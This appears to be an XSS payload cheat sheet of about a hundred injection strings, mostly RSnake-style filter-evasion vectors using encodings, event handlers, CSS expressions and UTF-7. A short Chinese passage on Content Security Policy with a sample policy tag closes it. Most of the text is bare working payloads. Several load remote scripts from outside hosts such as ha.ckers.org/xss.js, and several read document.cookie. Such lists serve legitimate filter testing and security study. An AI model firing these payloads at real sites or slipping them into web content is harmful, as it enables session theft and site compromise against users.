&lt;iframe src=http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html&gt;
&lt;IMG SRC=\"javascript&#058;alert('XSS')\"
&lt;SCRIPT SRC=//ha&#46;ckers&#46;org/&#46;js&gt;
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js?&lt;B&gt;
&lt;&lt;SCRIPT&gt;alert(\"XSS\");//&lt;&lt;/SCRIPT&gt;
&lt;SCRIPT/SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;BODY onload!#$%&()*~+-_&#46;,&#58;;?@&#91;/|\&#93;^`=alert(\"XSS\")&gt;
&lt;SCRIPT/XSS SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;IMG SRC=\"   javascript&#058;alert('XSS');\"&gt;
perl -e 'print \"&lt;SCR\0IPT&gt;alert(\\"XSS\\")&lt;/SCR\0IPT&gt;\";' &gt; out
perl -e 'print \"&lt;IMG SRC=java\0script&#058;alert(\\"XSS\\")&gt;\";' &gt; out
&lt;IMG SRC=\"jav&#x0D;ascript&#058;alert('XSS');\"&gt;
&lt;IMG SRC=\"jav&#x0A;ascript&#058;alert('XSS');\"&gt;
&lt;IMG SRC=\"jav&#x09;ascript&#058;alert('XSS');\"&gt;
&lt;IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&gt;
&lt;IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041&gt;
&lt;IMG SRC=javascript&#058;alert('XSS')&gt;
&lt;IMG SRC=javascript&#058;alert(String&#46;fromCharCode(88,83,83))&gt;
&lt;IMG \"\"\"&gt;&lt;SCRIPT&gt;alert(\"XSS\")&lt;/SCRIPT&gt;\"&gt;
&lt;IMG SRC=`javascript&#058;alert(\"RSnake says, 'XSS'\")`&gt;
&lt;IMG SRC=javascript&#058;alert(&quot;XSS&quot;)&gt;
&lt;IMG SRC=JaVaScRiPt&#058;alert('XSS')&gt;
&lt;IMG SRC=javascript&#058;alert('XSS')&gt;
&lt;IMG SRC=\"javascript&#058;alert('XSS');\"&gt;
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;
'';!--\"&lt;XSS&gt;=&{()}
';alert(String&#46;fromCharCode(88,83,83))//\';alert(String&#46;fromCharCode(88,83,83))//\";alert(String&#46;fromCharCode(88,83,83))//\\";alert(String&#46;fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;\"&gt;'&gt;&lt;SCRIPT&gt;alert(String&#46;fromCharCode(88,83,83))&lt;/SCRIPT&gt;
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascrscriptipt:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=" &#14;  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
\";alert('XSS');//
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
�script�alert(�XSS�)�/script�
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e);
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;"></BODY></HTML>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION
<form><button formaction="javascript:alert(123)">crosssitespt
<frameset onload=alert(123)>
<!--<img src="--><img src=x onerror=alert(123)//">
<style><img src="</style><img src=x onerror=alert(123)//">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="javascript:alert(1)">
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<script>({0:#0=alert/#0#/#0#(123)})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>
<script src="#">{alert(1)}</script>;1
<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>
<svg xmlns="#"><script>alert(1)</script></svg>
<svg onload="javascript:alert(123)" xmlns="#"></svg>
<iframe xmlns="#" src="javascript:alert(1)"></iframe>
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
%253cscript%253ealert(document.cookie)%253c/script%253e
'><s'%2b'cript>alert(document.cookie)</script>
'><ScRiPt>alert(document.cookie)</script>
'><<script>alert(document.cookie);//<</script>
foo<script>alert(document.cookie)</script>
<scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%22/%3E%3CBODY%20onload='document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
'; alert(document.cookie); var foo='
foo\'; alert(document.cookie);//';
</script><script >alert(document.cookie)</script>
<img src=asdf onerror=alert(document.cookie)>
<BODY ONLOAD=alert('XSS')>
<script>alert(1)</script>
"><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>

CSP

CSP（内容安全策略） 的主要目标是减少和报告 XSS 攻击 ，XSS 攻击利用了浏览器对于从服务器所获取的内容的信任。恶意脚本在受害者的浏览器中得以运行，因为浏览器信任其内容来源，即使有的时候这些脚本并非来自于它本该来的地方。

CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。一个CSP兼容的浏览器将会仅执行从白名单域获取到的脚本文件，忽略所有的其他脚本 (包括内联脚本和HTML的事件处理属性)。

作为一种终极防护形式，始终不允许执行脚本的站点可以选择全面禁止脚本执行。

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">